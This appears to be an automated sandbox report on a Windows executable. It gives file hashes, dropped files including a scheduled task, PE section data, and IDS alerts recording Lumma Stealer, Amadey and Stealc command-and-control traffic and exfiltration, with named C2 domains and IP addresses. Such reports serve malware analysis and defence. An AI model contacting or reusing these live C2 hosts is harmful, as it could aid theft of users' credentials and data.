Size (bytes):	4538
Entropy (8bit):	5.029170780542953
Encrypted:	false
SSDEEP:	96:ycKpMTEr5/lLmI2Ac1zzcxvbw6Kkgmc2Rn27:0eTEr5NX0z3DmRe
MD5:	278BAFFDFCF0C1D0B59C55F644CA6CF1
SHA1:	D673976A4B6D65FF3BF3675E29DACC3DF58A4F9F
SHA-256:	6E4EB2C27A9876652097F04D7F20095F0C063E7B580E373D4036E44C98044EF5
SHA-512:	D97C9B1F8E1016B61EA9AAF75A84F1E264F2B2040F25B7BFDB364A3512E9CE1FBEFBBF1621EEA5D1F5A938A7F8D3F3618160DC03E41BDF3C3EFCB223FFA72B94
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-11-01T06:00:08.945Z","profileAgeCreated":1696426830133,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.029170780542953
Encrypted:	false
SSDEEP:	96:ycKpMTEr5/lLmI2Ac1zzcxvbw6Kkgmc2Rn27:0eTEr5NX0z3DmRe
MD5:	278BAFFDFCF0C1D0B59C55F644CA6CF1
SHA1:	D673976A4B6D65FF3BF3675E29DACC3DF58A4F9F
SHA-256:	6E4EB2C27A9876652097F04D7F20095F0C063E7B580E373D4036E44C98044EF5
SHA-512:	D97C9B1F8E1016B61EA9AAF75A84F1E264F2B2040F25B7BFDB364A3512E9CE1FBEFBBF1621EEA5D1F5A938A7F8D3F3618160DC03E41BDF3C3EFCB223FFA72B94
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-11-01T06:00:08.945Z","profileAgeCreated":1696426830133,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.392134384943156
Encrypted:	false
SSDEEP:	6:jgd4AzxX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lBsuct0:MKUNuQ1CGAFifXVBsDt0
MD5:	D7CDF55CE8A63FC300A9B0908AC4AD70
SHA1:	250234F34F88A15BB6C3C28763DE6205779F8597
SHA-256:	F8AD384D3BD77F2609F11D4A326E88FC6954D74ECAAC1D71A56441E4B9790337
SHA-512:	FBCE9E87AF2B9FFB2C75E7716F442F4094626C6965770C601F7667E12E475773BC60A6FE9E076E9425FC016B5F88EA2F4DCBD6FC747D122BA925C7FAA37F4802
Malicious:	false
Preview:	.....V0[x..J.E...#..F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.557349853737172
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'874'880 bytes
MD5:	da2ea6b51a3216e065b2ced231c9e57f
SHA1:	ee7ea72bd395654cb1126d9445a130b9bcbc21f0
SHA256:	55a539c066dcca8b451445a6bc712fed79b4984297e86e629fbb74e50256fa8e
SHA512:	7c72f9dcf959de9f012dd06841f6e3defa892a5f3ab5ed20a667d4fac0c613b8e5ce34699590d720fd7a38fb7f62ffc7dc77aa027713fad558eb84f371a49abb
SSDEEP:	49152:KB88yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy4:KBrWV0C6DVlt8HeUjoT7gH
TLSH:	DCD53B53B489F6DFD48A23BC853BCD8AA95D0BF94B1108C3996C687E7DA3CC116B5C18
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J........................@.......................... /.......+...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6ef000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FAD1CF045AAh
bsf ebp, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	12167178b7e3d8032da1a6aaa317f326	False	0.9981081014890282	data	7.983838861531346	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wjqxmzgq	0x5b000	0x293000	0x292400	1409fe8ea27e7bde342d88ac33b18404	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xobrrexd	0x2ee000	0x1000	0x400	052b9d871b71f906165b8ad4f12f5a10	False	0.794921875	data	6.252091978501976	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2ef000	0x3000	0x2200	c947fd729c1b1310334986483fa2f832	False	0.05997242647058824	DOS executable (COM)	0.8105998403050146	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-01T05:01:01.238351+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	64200	1.1.1.1	53	UDP
2024-11-01T05:01:01.309434+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	52905	1.1.1.1	53	UDP
2024-11-01T05:01:01.327599+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	63340	1.1.1.1	53	UDP
2024-11-01T05:01:01.342557+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	52821	1.1.1.1	53	UDP
2024-11-01T05:01:01.363692+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.5	51342	1.1.1.1	53	UDP
2024-11-01T05:01:02.025424+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:01:02.025424+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:01:02.571525+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:01:02.571525+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:01:03.232985+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:01:03.232985+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:01:04.111799+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:01:04.111799+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:01:05.333249+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49706	188.114.96.3	443	TCP
2024-11-01T05:01:05.333249+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	188.114.96.3	443	TCP
2024-11-01T05:01:06.586460+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49707	188.114.96.3	443	TCP
2024-11-01T05:01:06.586460+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	188.114.96.3	443	TCP
2024-11-01T05:01:08.399353+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49708	188.114.96.3	443	TCP
2024-11-01T05:01:08.399353+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	188.114.96.3	443	TCP
2024-11-01T05:01:11.282674+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49709	188.114.96.3	443	TCP
2024-11-01T05:01:11.282674+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	188.114.96.3	443	TCP
2024-11-01T05:01:11.965257+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	188.114.96.3	443	TCP
2024-11-01T05:01:13.064453+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49710	188.114.96.3	443	TCP
2024-11-01T05:01:13.064453+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	188.114.96.3	443	TCP
2024-11-01T05:01:16.046173+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49711	188.114.96.3	443	TCP
2024-11-01T05:01:16.046173+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49711	188.114.96.3	443	TCP
2024-11-01T05:01:16.898027+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49711	188.114.96.3	443	TCP
2024-11-01T05:01:17.208855+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49713	185.215.113.16	80	TCP
2024-11-01T05:01:19.614009+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.5	49714	TCP
2024-11-01T05:01:48.048274+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.5	59709	TCP
2024-11-01T05:02:05.467592+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	59806	185.215.113.43	80	TCP
2024-11-01T05:02:08.837392+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	59827	185.215.113.16	80	TCP
2024-11-01T05:02:17.199105+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	59821	TCP
2024-11-01T05:02:17.585413+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	62089	1.1.1.1	53	UDP
2024-11-01T05:02:17.598732+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	55109	1.1.1.1	53	UDP
2024-11-01T05:02:17.610716+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	65524	1.1.1.1	53	UDP
2024-11-01T05:02:17.620601+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	52129	1.1.1.1	53	UDP
2024-11-01T05:02:18.098259+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	59843	185.215.113.43	80	TCP
2024-11-01T05:02:18.255497+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59844	188.114.96.3	443	TCP
2024-11-01T05:02:18.255497+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59844	188.114.96.3	443	TCP
2024-11-01T05:02:18.808798+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	59844	188.114.96.3	443	TCP
2024-11-01T05:02:18.808798+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59844	188.114.96.3	443	TCP
2024-11-01T05:02:19.013858+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	59845	185.215.113.16	80	TCP
2024-11-01T05:02:19.555064+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59846	188.114.96.3	443	TCP
2024-11-01T05:02:19.555064+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59846	188.114.96.3	443	TCP
2024-11-01T05:02:20.264224+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	59846	188.114.96.3	443	TCP
2024-11-01T05:02:20.264224+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59846	188.114.96.3	443	TCP
2024-11-01T05:02:21.140608+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59847	188.114.96.3	443	TCP
2024-11-01T05:02:21.140608+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59847	188.114.96.3	443	TCP
2024-11-01T05:02:21.870389+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	59847	188.114.96.3	443	TCP
2024-11-01T05:02:22.614101+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59848	188.114.96.3	443	TCP
2024-11-01T05:02:22.614101+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59848	188.114.96.3	443	TCP
2024-11-01T05:02:23.979268+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59849	188.114.96.3	443	TCP
2024-11-01T05:02:23.979268+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59849	188.114.96.3	443	TCP
2024-11-01T05:02:26.433927+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59850	188.114.96.3	443	TCP
2024-11-01T05:02:26.433927+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59850	188.114.96.3	443	TCP
2024-11-01T05:02:27.557378+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	59851	185.215.113.206	80	TCP
2024-11-01T05:02:27.633332+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	59852	185.215.113.43	80	TCP
2024-11-01T05:02:28.067719+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59853	188.114.96.3	443	TCP
2024-11-01T05:02:28.067719+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59853	188.114.96.3	443	TCP
2024-11-01T05:02:28.573533+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	59854	185.215.113.16	80	TCP
2024-11-01T05:02:30.342203+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59855	188.114.96.3	443	TCP
2024-11-01T05:02:30.342203+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59855	188.114.96.3	443	TCP
2024-11-01T05:02:30.899816+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59855	188.114.96.3	443	TCP
2024-11-01T05:02:31.017606+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	56828	1.1.1.1	53	UDP
2024-11-01T05:02:31.070401+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	52704	1.1.1.1	53	UDP
2024-11-01T05:02:31.083258+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	53751	1.1.1.1	53	UDP
2024-11-01T05:02:31.095103+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	54636	1.1.1.1	53	UDP
2024-11-01T05:02:31.756637+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59857	188.114.96.3	443	TCP
2024-11-01T05:02:31.756637+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59857	188.114.96.3	443	TCP
2024-11-01T05:02:31.814251+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	59856	185.215.113.16	80	TCP
2024-11-01T05:02:32.542968+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	59857	188.114.96.3	443	TCP
2024-11-01T05:02:32.542968+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59857	188.114.96.3	443	TCP
2024-11-01T05:02:33.241704+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59858	188.114.96.3	443	TCP
2024-11-01T05:02:33.241704+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59858	188.114.96.3	443	TCP
2024-11-01T05:02:33.955380+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	59858	188.114.96.3	443	TCP
2024-11-01T05:02:33.955380+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59858	188.114.96.3	443	TCP
2024-11-01T05:02:34.891670+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59860	188.114.96.3	443	TCP
2024-11-01T05:02:34.891670+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59860	188.114.96.3	443	TCP
2024-11-01T05:02:35.172323+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	59859	185.215.113.43	80	TCP
2024-11-01T05:02:36.101168+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	59861	185.215.113.16	80	TCP
2024-11-01T05:02:36.101168+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	59861	185.215.113.16	80	TCP
2024-11-01T05:02:36.951522+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59864	188.114.96.3	443	TCP
2024-11-01T05:02:36.951522+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59864	188.114.96.3	443	TCP
2024-11-01T05:02:39.939150+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59869	188.114.96.3	443	TCP
2024-11-01T05:02:39.939150+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59869	188.114.96.3	443	TCP
2024-11-01T05:02:43.913018+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	59872	185.215.113.43	80	TCP
2024-11-01T05:02:47.120032+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59883	188.114.96.3	443	TCP
2024-11-01T05:02:47.120032+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59883	188.114.96.3	443	TCP
2024-11-01T05:02:47.310604+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	59882	185.215.113.206	80	TCP
2024-11-01T05:02:49.177739+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59885	188.114.96.3	443	TCP
2024-11-01T05:02:49.177739+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59885	188.114.96.3	443	TCP
2024-11-01T05:02:52.723819+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59887	188.114.96.3	443	TCP
2024-11-01T05:02:52.723819+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59887	188.114.96.3	443	TCP
2024-11-01T05:02:53.267785+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59887	188.114.96.3	443	TCP
2024-11-01T05:02:54.197598+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	59888	185.215.113.16	80	TCP
2024-11-01T05:02:56.266166+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	59890	185.215.113.206	80	TCP
2024-11-01T05:03:00.234650+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	59897	185.215.113.206	80	TCP
2024-11-01T05:03:05.694321+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	62377	1.1.1.1	53	UDP
2024-11-01T05:03:05.710482+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	55031	1.1.1.1	53	UDP
2024-11-01T05:03:05.721916+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	61851	1.1.1.1	53	UDP
2024-11-01T05:03:05.734231+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	58723	1.1.1.1	53	UDP
